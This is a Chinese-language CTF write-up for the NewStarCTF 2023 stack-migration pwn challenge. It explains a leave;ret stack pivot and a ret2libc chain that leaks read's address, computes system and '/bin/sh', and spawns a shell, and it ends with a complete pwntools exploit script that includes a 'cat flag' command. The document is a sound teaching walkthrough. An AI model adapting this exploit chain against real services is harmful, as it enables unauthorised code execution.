[NewStarCTF] 2023 stack migration write up

本文总阅读量

这几天做的自我感觉很有代表性的一个题,尝试写一下wp,不能保证没有错误,欢迎大家指出

本题属于比较麻烦的一类栈迁移, 不但有经典的溢出限制,而且还结合了ret2libc的内容(没有后门),需要先泄露找libc再写入system和binsh。思路不难但实现复杂,属于是很典型的ROP了。

先checksec一下:

64位程序只开了一个NX堆栈不可执行,无特殊,接着进ida64;

审视一下函数表和字符串表(shift+F12),发现无后门,无system函数或binsh,能感觉到解法绕不开ret2libc了。

进main函数,里头有俩段:

第一段0x401196属于初始化,不管,直接进第二段0x4011FB

一看有俩read,仔细看事实上只有第二个有溢出风险,而且0x60=96,只有16个字节的溢出空间,正好只够填充64位程序8字节的ebp和ret地址,要想实现ret2libc必须将payload迁移至v2中去,这就需要栈迁移。

栈迁移本质是利用leave指令来篡改ebp地址来控制栈顶esp,进而控制ret的地址来完成迁移操作。

(这里解释一下:leave = mov esp ebp;pop ebp,ret = pop eip;利用前者我们可以把ebp换成想要的地址传给esp,这样下一次ret就会在我们想要的地址处取地址执行指令,从而达到控制程序流的目的

为此我们首先要拿到leave&ret的gadget,ROPgadget一下

顺便把之后需要的ret,rdi也爆一下

其次我们要知道栈地址,注意到函数里头这个printf:

可以看出出题人好心帮了我们一把,直接把buf的地址爆了,相当于直接获得了栈地址,栈迁移的条件齐全了

不放心的话可以Linux下gdb一下子,这里就不试了

这样前置工作差不多结束了,接下来开始写payload:

第一个buf随便写就行(反正最后会被pop掉),首先接收传来的地址:

1
2
3
4
5
6
7
8
payload = b'aaaa'
p.sendafter(b'name:\n', payload)
p.recvuntil(b'\n')
p.recvuntil(b'x')
addr = p.recvuntil('m')[:-1].rjust(16, b'0')
log.success(addr)
bufAddr = int(addr, 16)
log.success(hex(bufAddr))

这个地方根据回显来处理地址的字符串切片就行,不一定非得写一样的。byte转int直接用就行。

下一个read开始栈迁移+爆地址,这里选择爆read的(这个随便看心情,如果pwn不动可以换一个函数试试)

1
2
3
4
5
payload = p64(retAddr)
payload += p64(rdiAddr) + p64(readGot) + p64(putsPlt) + p64(mainAddr)
payload = payload.ljust(80, b'\x00')
payload += p64(bufAddr)
payload += p64(levretAddr)

这里的ret目的是栈对齐,pwn不通的话加个ret试试;bufAddr就是buf的地址,和接下来的v2是连着的,8字节正好pop掉,不影响后边的payload。为了再返回打第二波,把main地址加后边

成功爆出了read的内存地址:

接收一下:

1
readAddr = u64(p.recv(8)[:-2].ljust(8, b'\0'))

地址切片处理还是依照回显调整

题目附件有libc,直接用现成的:

1
2
3
4
5
libcElf = ELF('../libc.so.6')
system_libc = libcElf.symbols['system']
binsh_libc = libcElf.search(b'/bin/sh').__next__()
puts_libc = libcElf.symbols['puts']
read_libc = libcElf.symbols['read']

算一下偏移量:

1
2
3
offset = readAddr - read_libc
binsh = offset + binsh_libc
system = offset + system_libc

验证libc版本是否匹配:看一下offset后三位
若是000大概率正确,实在不行用DynElf

接下来是第二波:(注意地址换了,需要再接收一下)

1
2
3
4
5
6
7
8
9
10
11
payload = p64(retAddr)
payload += p64(retAddr)
payload += p64(rdiAddr)
#payload += p64(binsh)
payload += p64(bufAddr + 56)
payload += p64(system)
payload += p64(mainAddr)
payload += b'/bin/sh'
payload = payload.ljust(80, b'\x00')
payload += p64(bufAddr)
payload += p64(levretAddr)

这一波就直接开始pwn了。(其实这里的binsh直接用就行,这种偏移写法麻烦容易犯错,只是测试一下有没有算错地址)注意补ret来栈对齐。

成功拿到flag:

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
from LibcSearcher import *

context(arch="amd64",os="linux",log_level="debug")
binary = '../sm'
elf =ELF(binary)
libcElf = ELF('../libc.so.6')

local = 1
port = 25251
if local == 1:
p = process(binary)
else:
p = remote("node5.buuoj.cn",port)

next = b"ls && cat flag"
#=============== libc ===============#
system_libc = libcElf.symbols['system']
binsh_libc = libcElf.search(b'/bin/sh').__next__()
puts_libc = libcElf.symbols['puts']
read_libc = libcElf.symbols['read']

#===============plt & got===============#
putsPlt = elf.plt["puts"]
putsGot = elf.got["puts"]
readGot = elf.got["read"]

#==================rop==================#
mainAddr = 0x4011fb
retAddr = 0x000000000040101a
levretAddr = 0x00000000004012aa
rdiAddr = 0x0000000000401333
#pop rdi;ret

#=================start=================#
payload = b'aaaa'
p.sendafter(b'name:\n', payload)
p.recvuntil(b'\n')
p.recvuntil(b'x')

addr = p.recvuntil('m')[:-1].rjust(16, b'0')
log.success(addr)
bufAddr = int(addr, 16)
log.success(hex(bufAddr))

payload = p64(retAddr)
payload += p64(rdiAddr) + p64(readGot) + p64(putsPlt) + p64(mainAddr)
payload = payload.ljust(80, b'\x00')
payload += p64(bufAddr)
payload += p64(levretAddr)

p.sendafter(b'plz:\n', payload)

p.recvuntil(b'\n')
p.recvuntil(b'\n')

readAddr = u64(p.recv(8)[:-2].ljust(8, b'\0'))

offset = readAddr - read_libc
binsh = offset + binsh_libc
system = offset + system_libc

#================round 2================#

payload = b'aaaaaaaa'

p.sendafter(b'name:\n', payload)
p.recvuntil(b'\n')
p.recvuntil(b'x')

addr = p.recvuntil('m')[:-1].rjust(16, b'0')
log.success(addr)
bufAddr = int(addr, 16)
log.success(hex(bufAddr))

payload = p64(retAddr)
payload += p64(retAddr)
payload += p64(rdiAddr)
#payload += p64(binsh)
payload += p64(bufAddr + 56)
payload += p64(system)
payload += p64(mainAddr)
payload += b'/bin/sh'
payload = payload.ljust(80, b'\x00')
payload += p64(bufAddr)
payload += p64(levretAddr)

p.sendafter(b'plz:\n', payload)

#=================End=================#
p.sendline(next)
p.interactive()